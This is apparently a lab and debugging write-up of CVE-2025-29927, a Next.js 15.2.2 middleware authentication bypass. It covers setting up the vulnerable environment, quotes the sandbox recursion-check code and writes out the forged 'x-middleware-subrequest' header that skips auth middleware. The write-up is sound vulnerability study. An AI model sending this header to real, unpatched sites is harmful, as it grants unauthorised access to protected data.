
Next.js Middleware Auth Bypass
Bypass Next.js middleware authentication mechanism by forging the x-middleware-subrequest request header, allowing unauthorized access to protected routes.
Source code derived from P神, Next.js version 15.2.2 (For Next.js 15.x, this issue is fixed in 15.2.3).
Make sure Node and npm are installed. Check the versions with the following commands:
node -v
npm -v
Install dependencies and start the project
# 1. Enter the project directory
cd vulenv
# 2. Install Yarn globally (if not already installed)
npm install -g yarn
# 3. Install project dependencies
yarn install
# 4. Start the development server
npm run dev
Or all in one go:
cd vulenv && npm install -g yarn && yarn install && npm run dev
Success as shown below:


Configure VScode debugging as follows
{
"version": "0.2.0",
"configurations": [
{
"name": "Next.js: debug server-side",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev"
},
{
"name": "Next.js: debug client-side",
"type": "chrome",
"request": "launch",
"url": "http://localhost:3000"
},
{
"name": "Next.js: debug full stack",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev",
"serverReadyAction": {
"pattern": "- Local:.+(https?://.+)",
"uriFormat": "%s",
"action": "debugWithChrome"
}
}
]
}
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
var _params_request_body;
const runtime = await getRuntimeContext(params);
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1'
}
})
};
}
......
A middleware function designed to detect recursive call depth and prevent infinite loops. Its mechanism depends on the request header x-middleware-subrequest, splitting it by colon : into multiple subrequest names, and counting the number of times it matches the current middleware name params.name (i.e., recursion depth). When the recursion depth reaches or exceeds the preset threshold (default MAX_RECURSION_DEPTH = 5), the middleware skips core logic, such as authentication, and continues the request processing flow.
Tips: Avoid infinite loop calls, roughly as follows
User visits /dashboard
↓
middleware intercepts, requests /api/auth
↓
/api/auth triggers middleware again
↓
middleware requests /api/auth again
↓
...
Dead loop! 🌀
The middleware is named middleware, so you can craft the following request header:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
The above construction makes depth = 5, directly triggering:
if (depth >= MAX_RECURSION_DEPTH)
If the application places authentication logic inside the middleware, this causes the middleware to exit the authentication logic and return
x-middleware-next: 1
Allowing the request to continue to the backend, obtaining protected resources without authentication.
Set a breakpoint at the location shown in the image below (path details: CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js) then start debugging.

Send Payload

Break at the location shown below, you can see that depth is 5

Continue execution to obtain the protected resource

Written based on Pocsuite3, see details in Poc_CVE-2025-29927.py.

Next.js and the corrupt middleware: the authorizing artifact